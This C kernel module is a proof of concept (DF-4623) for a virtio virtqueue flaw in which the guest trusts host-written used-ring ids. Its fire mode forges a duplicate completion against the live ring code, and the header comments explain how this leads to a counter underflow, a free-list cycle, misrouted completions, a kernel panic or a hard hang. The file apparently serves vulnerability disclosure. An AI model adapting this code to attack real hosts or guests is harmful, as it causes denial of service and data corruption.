/*
 * DF-4623 — virtqueue used-ring ownership validation PoC
 *
 * Demonstrates, against the *live in-kernel* virtqueue engine
 * (sys/dev/virtual/virtio/virtio/virtqueue.c), that the guest blindly
 * trusts used-ring completion ids written by the host:
 *
 *   1. A completion for a descriptor chain that is NOT in flight
 *      (duplicate id — perfectly "valid" bounds-wise) drives
 *      vq_ring_free_chain() into:
 *        - dxp->ndescs-- underflow  (0 -> 65535, uint16_t)   [:786-787]
 *        - re-linking the freed chain onto the free-list head
 *          creating a CYCLE in desc[].next                  [:803-804]
 *        - VQASSERT(ndescs == 0) — LIVE panic on INVARIANTS
 *          kernels ("failed to free entire desc chain"),
 *          a silent no-op on production kernels.             [:796]
 *   2. On production kernels the cycle makes every subsequent
 *      virtqueue_enqueue() hand out descriptors that are already
 *      in flight (aliasing) and overwrite vq_descx[head].cookie —
 *      completions get mis-attributed to the wrong driver object
 *      (vtblk: wrong bio finished / request object recycled while
 *      still referenced; vtnet: mbuf leak / stack re-injection).
 *   3. With F_NEXT forged on the cycle tail (trivial host DMA
 *      write), vq_ring_free_chain() never terminates -> kernel
 *      spins forever holding the driver serializer -> hard hang.
 *
 * The module forges used-ring entries exactly the way the host does
 * (the used ring is guest RAM the host writes via DMA). It drives a
 * private virtqueue allocated through the kernel's own
 * virtqueue_alloc() on the real vtblk0 child device, so the feature
 * negotiation path is real; queue index 63 is never registered with
 * the host, so nothing else can touch this ring.
 *
 * Modes:
 *   hw.df4623.fire=0 (default)  SAFE: normal op sanity + printed
 *                               projection of the duplicate-id math.
 *   hw.df4623.fire=1            FIRE: forge a duplicate completion and
 *                               call the real virtqueue_dequeue().
 *                               INVARIANTS kernels (e.g. X86_64_GENERIC)
 *                               panic inside vq_ring_free_chain().
 *
 * build:  make && kldload ./df4623.ko
 * run:    sysctl hw.df4623.fire=1 ; kldload ./df4623.ko
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/serialize.h>
#include <sys/bus.h>
#include <sys/rman.h>
#include <sys/sglist.h>
#include <sys/sysctl.h>
#include <vm/vm.h>
#include <vm/pmap.h>

#include "virtqueue.h"
#include "virtio_ring.h"

/*
 * Exact replica of the file-private `struct virtqueue' from
 * virtqueue.c:54-91 (plus its private constants) so we can inspect
 * live ring state. The real object is allocated by the kernel's
 * virtqueue_alloc(); we only cast for introspection.
 */
#define VQ_REP_DESC_CHAIN_END	32768
#define VQ_REP_F_INDIRECT	0x0001
#define VQ_REP_F_EVENT_IDX	0x0002

struct vq_rep_descx {
	void		  *cookie;
	struct vring_desc *indirect;
	vm_paddr_t         indirect_paddr;
	uint16_t	   ndescs;
};

struct vq_rep {
	device_t		 vq_dev;
	char			 vq_name[32];
	uint16_t		 vq_queue_index;
	uint16_t		 vq_nentries;
	uint32_t		 vq_flags;
	int			 vq_alignment;
	int			 vq_ring_size;
	void			*vq_ring_mem;
	int			 vq_max_indirect_size;
	int			 vq_indirect_mem_size;
	struct vring		 vq_ring;
	uint16_t		 vq_free_cnt;
	uint16_t		 vq_queued_cnt;
	uint16_t		 vq_desc_head_idx;
	uint16_t		 vq_used_cons_idx;
	struct vq_rep_descx	 vq_descx[0];
};

static int	df_fire = 0;
TUNABLE_INT("hw.df4623.fire", &df_fire);
SYSCTL_INT(_hw, OID_AUTO, df4623_fire, CTLFLAG_RW, &df_fire, 0,
    "forge duplicate used-ring completion on next kldload");

#define	stage(...)	kprintf("[df4623] " __VA_ARGS__)

static void
df4623_project(struct vq_rep *m, uint16_t head)
{
	struct vring *vr = &m->vq_ring;
	uint16_t ndescs, idx, tail, steps;
	int hops = 0;

	/* What the SECOND (duplicate) free of chain `head' will do. */
	ndescs = m->vq_descx[head].ndescs;	/* 0 after the legit free */
	stage("PROJECTION of duplicate used id=%u (production kernel):\n", head);
	stage("  free_chain: vq_free_cnt += %u (ndescs of stale head)\n", ndescs);
	ndescs--;				/* :787 — 0 -> 65535 */
	idx = head;
	while (vr->desc[idx].flags & VRING_DESC_F_NEXT) {
		idx = vr->desc[idx].next;	/* :792 */
		ndescs--;			/* :793 */
		hops++;
	}
	tail = idx;
	stage("  dxp->ndescs underflows to %u after %d NEXT hops "
	    "(VQASSERT(==0) at :796 is a NO-OP without INVARIANTS)\n", ndescs, hops);
	stage("  then desc[%u].next = vq_desc_head_idx(%u) -> CYCLE, "
	    "head=%u while chain is idle\n",
	    idx, m->vq_desc_head_idx, head);

	/* Aliasing: two enqueues both start at `head'. */
	stage("  next virtqueue_enqueue() walks head=%u .. and terminates at "
	    "desc[%u].next == %u (the cycle) => head NEVER advances\n",
	    head, idx, head);
	stage("  => every new request is handed desc %u..%u again, "
	    "vq_descx[%u].cookie overwritten while previous request "
	    "is IN FLIGHT (completion mis-attribution)\n",
	    head, idx, head);

	/* Livelock: post-dup the tail relinks onto the head (cycle); with
	 * F_NEXT forged on the tail the free_chain walk never ends. Simulate
	 * the post-dup next[] values (tail->head) without leaving 0..tail. */
	steps = 0;
	idx = head;
	while (steps < 4 * m->vq_nentries) {
		if (idx == tail)
			idx = head;	/* the forged cycle edge */
		else
			idx = vr->desc[idx].next;
		steps++;
	}
	stage("  with F_NEXT forged on desc[%u], a vq_ring_free_chain(%u) "
	    "walks >%u/%u entries without terminating => permanent kernel "
	    "spin with the driver serializer held (hard hang)\n",
	    tail, head, steps, m->vq_nentries);
}

static int
df4623_run(void)
{
	devclass_t dc;
	device_t dev;
	struct virtqueue *vq = NULL;
	struct vq_alloc_info info;
	struct vq_rep *m;
	struct vring *vr;
	struct sglist *sg;
	void *dma, *ck, *ckA;
	uint16_t head;
	int error;

	dc = devclass_find("vtblk");		/* driver_t name, virtio_blk.c:219 */
	if (dc == NULL) {
		stage("no virtio_blk devclass (virtio absent)\n");
		return (ENODEV);
	}
	dev = devclass_get_device(dc, 0);
	if (dev == NULL) {
		stage("no virtio_blk device\n");
		return (ENODEV);
	}

	VQ_ALLOC_INFO_INIT(&info, 0, &vq, "df4623-probe");
	error = virtqueue_alloc(dev, 63, 64, 4096, 0xFFFFFFFFUL, &info, &vq);
	if (error != 0 || vq == NULL) {
		stage("virtqueue_alloc failed: %d\n", error);
		return (ENXIO);
	}
	m = (struct vq_rep *)vq;
	vr = &m->vq_ring;
	stage("private vq '%s' allocated: nentries=%u free=%u head=%u "
	    "(dev=%s index 63 never registered with host)\n",
	    m->vq_name, m->vq_nentries, m->vq_free_cnt, m->vq_desc_head_idx,
	    device_get_nameunit(dev));

	dma = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT);
	sg = sglist_alloc(8, M_INTWAIT);
	/* Non-adjacent chunks: sglist_append_phys() coalesces physically
	 * contiguous ranges into one segment, and virtqueue_enqueue()
	 * requires sg_nseg == readable + writable. */
	sglist_append_phys(sg, vtophys((char *)dma), 512);
	sglist_append_phys(sg, vtophys((char *)dma + 1024), 512);
	sglist_append_phys(sg, vtophys((char *)dma + 2048), 512);

	/* ---- normal operation sanity (ring engine healthy) ---- */
	ckA = (void *)0xaaaa0001UL;
	head = m->vq_desc_head_idx;
	if (virtqueue_enqueue(vq, ckA, sg, 3, 0) != 0) {
		stage("enqueue A failed\n");
		goto out;
	}
	stage("enqueue A: head=%u free=%u queued=%u\n",
	    head, m->vq_free_cnt, m->vq_queued_cnt);

	/* Host completes A: this write is exactly what the host DMAs. */
	vr->used->ring[vr->used->idx & 63].id = head;
	vr->used->ring[vr->used->idx & 63].len = 1536;
	vr->used->idx++;
	ck = virtqueue_dequeue(vq, NULL);
	stage("legit completion: dequeue -> cookie %p (want %p) free=%u "
	    "head=%u used_cons=%u\n", ck, ckA, m->vq_free_cnt,
	    m->vq_desc_head_idx, m->vq_used_cons_idx);
	if (ck != ckA) {
		stage("UNEXPECTED: normal path broken, aborting\n");
		goto out;
	}

	if (!df_fire) {
		df4623_project(m, head);
		stage("SAFE MODE done (set hw.df4623.fire=1, kldunload, "
		    "kldload again to fire the duplicate)\n");
		goto out;
	}

	/* ---- malicious host: DUPLICATE completion of the same id ---- */
	stage("FIRE: forging DUPLICATE used id=%u and calling the real "
	    "virtqueue_dequeue()...\n", head);
	vr->used->ring[vr->used->idx & 63].id = head;
	vr->used->ring[vr->used->idx & 63].len = 1536;
	vr->used->idx++;
	ck = virtqueue_dequeue(vq, NULL);
	/*
	 * INVARIANTS kernels panic inside vq_ring_free_chain()
	 * ("failed to free entire desc chain") before returning.
	 * Production kernels return here with corrupted state:
	 */
	stage("dup dequeue RETURNED %p (cookie slot was cleared => NULL), "
	    "free=%u nentries=%u head=%u\n",
	    ck, m->vq_free_cnt, m->vq_nentries, m->vq_desc_head_idx);

	(void)virtqueue_enqueue(vq, (void *)0xbbbb0002UL, sg, 3, 0);
	(void)virtqueue_enqueue(vq, (void *)0xcccc0003UL, sg, 3, 0);
	stage("two more enqueues both start at desc %u: "
	    "vq_descx[%u].cookie now %p, request B's cookie LOST — "
	    "driver completions mis-attributed\n",
	    head, head, m->vq_descx[head].cookie);

out:
	sglist_free(sg);
	kfree(dma, M_DEVBUF);
	virtqueue_free(vq);
	stage("vq freed; module idle\n");
	return (0);
}

static int
df4623EventHandler(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		stage("loaded (fire=%d)\n", df_fire);
		return (df4623_run());
	case MOD_UNLOAD:
		stage("unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df4623_mod = { "df4623", df4623EventHandler, NULL };
DECLARE_MODULE(df4623, df4623_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(df4623, 1);